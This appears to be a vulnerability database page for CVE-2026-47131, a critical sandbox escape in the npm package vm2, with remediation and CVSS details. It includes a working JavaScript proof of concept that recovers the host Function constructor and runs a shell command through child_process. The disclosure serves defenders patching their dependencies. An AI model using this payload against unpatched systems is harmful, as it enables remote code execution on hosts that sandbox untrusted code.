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CVE-2026-47131 — Vulnerability in vm2 — CVE Details

CRITICAL

vm2 has a Sandbox Escape issue

Published May 29, 2026Updated June 12, 2026Source: osv

Summary

### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE

Advisory Timeline

  • First published May 29, 2026 (136 days ago).
  • Last revised June 12, 2026 — 14 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.4 or later
npm install vm2@3.11.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-47131?
vm2 has a Sandbox Escape issue This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-47131?
CVE-2026-47131 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47131 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-v6mx-mf47-r5wg

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